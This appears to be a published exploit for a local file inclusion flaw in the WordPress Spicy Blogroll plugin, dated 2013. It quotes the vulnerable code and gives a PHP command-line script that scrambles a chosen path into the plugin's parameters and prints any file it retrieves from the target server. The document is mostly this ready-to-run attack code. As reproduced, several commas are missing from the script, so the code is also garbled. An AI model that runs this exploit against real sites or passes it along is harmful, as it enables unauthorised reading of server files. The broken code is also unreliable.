WordPress Spicy Blogroll Plugin - File Inclusion Vulnerability



<?php 

// Title: Wordpress Plugin Spicy Blogroll File Inclusion Vulnerability
// Date: 12-07-2013 (GMT+8 Kuala Lumpur)
// Author: Ahlspiess
// Greetz: All TBDIAN - http://w3.tbd.my :)
// Screenshot: http://i.imgur.com/jIrUznC.png
/**
Details:
    File: /wp-content/plugins/spicy-blogroll-ajax.php
    SVN Source: http://svn.wp-plugins.org/spicy-blogroll/trunk/spicy-blogroll-ajax.php
<?php
...
...
    $link_url = $_GET['link_url'];
    $link_text = $_GET['link_text'];
    $var2 = unscramble($_GET['var2']);
    $var3 = unscramble($_GET['var3']);
    $var4 = unscramble($_GET['var4']);
    $var5 = unscramble($_GET['var5']);
    $nonce = unscramble($_GET['var11']);
    require_once($var2.$var4); <-- Boom
...
...
*/

if(!isset($argv[3])) {
    die(
sprintf("php %s <host> <path> <file>\n"$argv[0]));
}

list(,
$host$path$file) = $argv;
$vfile 'http://%s%s/wp-content/plugins/spicy-blogroll/spicy-blogroll-ajax.php?var2=%s&var4=%s';
$request sprintf($vfile$host$pathscramble(dirname($file) . "/"), scramble(basename($file)));
$opts = array(
    
'http'=>array(
        
'header'        =>    "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0",
        
'ignore_errors'    =>    true,
    )
);

$context stream_context_create($opts);
echo 
file_get_contents($request0$context);

/**
    Source: http://svn.wp-plugins.org/spicy-blogroll/trunk/spicy-blogroll.php
    Line: 386-401
*/
function scramble($text1,$rng 1){
    
$len=strlen($text1);
    
$rn=$rng%2;
    
$count=7;
    
$seed=($rn%=2)+1;
    
$text2=chr($seed+64+$rng).chr($rng+70);
    for(
$i=0$i<=$len-1$i++) {
        
$seed*=-1;
        
$count+=1;
        
$ch=ord(substr($text1,$i,1))+$seed;
        if(
$ch==92){$ch.=42;}
        
$text2.=chr($ch);
    if(
$count%5==$rn){$text2.=chr(mt_rand(97,123));}
    }
    return 
$text2;
}

?>